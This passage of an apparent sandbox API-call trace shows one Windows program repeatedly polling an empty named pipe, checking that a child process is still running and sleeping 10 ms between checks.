lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.824] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.824] Sleep (dwMilliseconds=0xa) [0163.838] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.838] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.839] Sleep (dwMilliseconds=0xa) [0163.855] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.856] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.856] Sleep (dwMilliseconds=0xa) [0163.869] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.870] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.870] Sleep (dwMilliseconds=0xa) [0163.885] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.885] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.885] Sleep (dwMilliseconds=0xa) [0163.901] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.901] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.901] Sleep (dwMilliseconds=0xa) [0163.916] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.916] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.916] Sleep (dwMilliseconds=0xa) [0163.933] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.933] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.933] Sleep (dwMilliseconds=0xa) [0163.947] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.948] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.948] Sleep (dwMilliseconds=0xa) [0163.964] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.964] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.964] Sleep (dwMilliseconds=0xa) [0163.979] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.979] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.979] Sleep (dwMilliseconds=0xa) [0163.994] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0163.995] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0163.995] Sleep (dwMilliseconds=0xa) [0164.010] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.010] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.010] Sleep (dwMilliseconds=0xa) [0164.026] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.026] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.026] Sleep (dwMilliseconds=0xa) [0164.045] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.045] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.045] Sleep (dwMilliseconds=0xa) [0164.086] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.086] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.086] Sleep (dwMilliseconds=0xa) [0164.101] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.102] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.102] Sleep (dwMilliseconds=0xa) [0164.104] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.104] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.104] Sleep (dwMilliseconds=0xa) [0164.119] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.119] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.119] Sleep (dwMilliseconds=0xa) [0164.135] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.135] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.135] Sleep (dwMilliseconds=0xa) [0164.151] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.151] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.151] Sleep (dwMilliseconds=0xa) [0164.166] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.166] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.166] Sleep (dwMilliseconds=0xa) [0164.182] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.182] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.182] Sleep (dwMilliseconds=0xa) [0164.197] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.197] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.197] Sleep (dwMilliseconds=0xa) [0164.213] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.213] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.213] Sleep (dwMilliseconds=0xa) [0164.228] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.228] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.228] Sleep (dwMilliseconds=0xa) [0164.246] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.246] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.246] Sleep (dwMilliseconds=0xa) [0164.261] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.261] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.261] Sleep (dwMilliseconds=0xa) [0164.561] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.561] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.561] Sleep (dwMilliseconds=0xa) [0164.604] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.604] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.604] Sleep (dwMilliseconds=0xa) [0164.638] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.638] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.639] Sleep (dwMilliseconds=0xa) [0164.681] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.681] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.681] Sleep (dwMilliseconds=0xa) [0164.710] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.710] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.710] Sleep (dwMilliseconds=0xa) [0164.728] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.728] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.728] Sleep (dwMilliseconds=0xa) [0164.777] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.778] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.778] Sleep (dwMilliseconds=0xa) [0164.832] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.832] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.832] Sleep (dwMilliseconds=0xa) [0164.874] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.875] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.875] Sleep (dwMilliseconds=0xa) [0164.915] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0164.915] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0164.915] Sleep (dwMilliseconds=0xa) [0165.060] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.060] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.060] Sleep (dwMilliseconds=0xa) [0165.143] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.143] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.143] Sleep (dwMilliseconds=0xa) [0165.328] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.329] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.329] Sleep (dwMilliseconds=0xa) [0165.372] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.372] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.372] Sleep (dwMilliseconds=0xa) [0165.415] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.417] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.417] Sleep (dwMilliseconds=0xa) [0165.472] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.472] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.473] Sleep (dwMilliseconds=0xa) [0165.530] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.531] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.531] Sleep (dwMilliseconds=0xa) [0165.592] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.592] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.592] Sleep (dwMilliseconds=0xa) [0165.634] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.634] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.634] Sleep (dwMilliseconds=0xa) [0165.800] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.800] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.800] Sleep (dwMilliseconds=0xa) [0165.838] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.839] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.839] Sleep (dwMilliseconds=0xa) [0165.883] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.883] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.884] Sleep (dwMilliseconds=0xa) [0165.936] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.936] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.936] Sleep (dwMilliseconds=0xa) [0165.976] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0165.976] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0165.976] Sleep (dwMilliseconds=0xa) [0166.022] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0166.022] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0166.022] Sleep (dwMilliseconds=0xa) [0166.076] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, 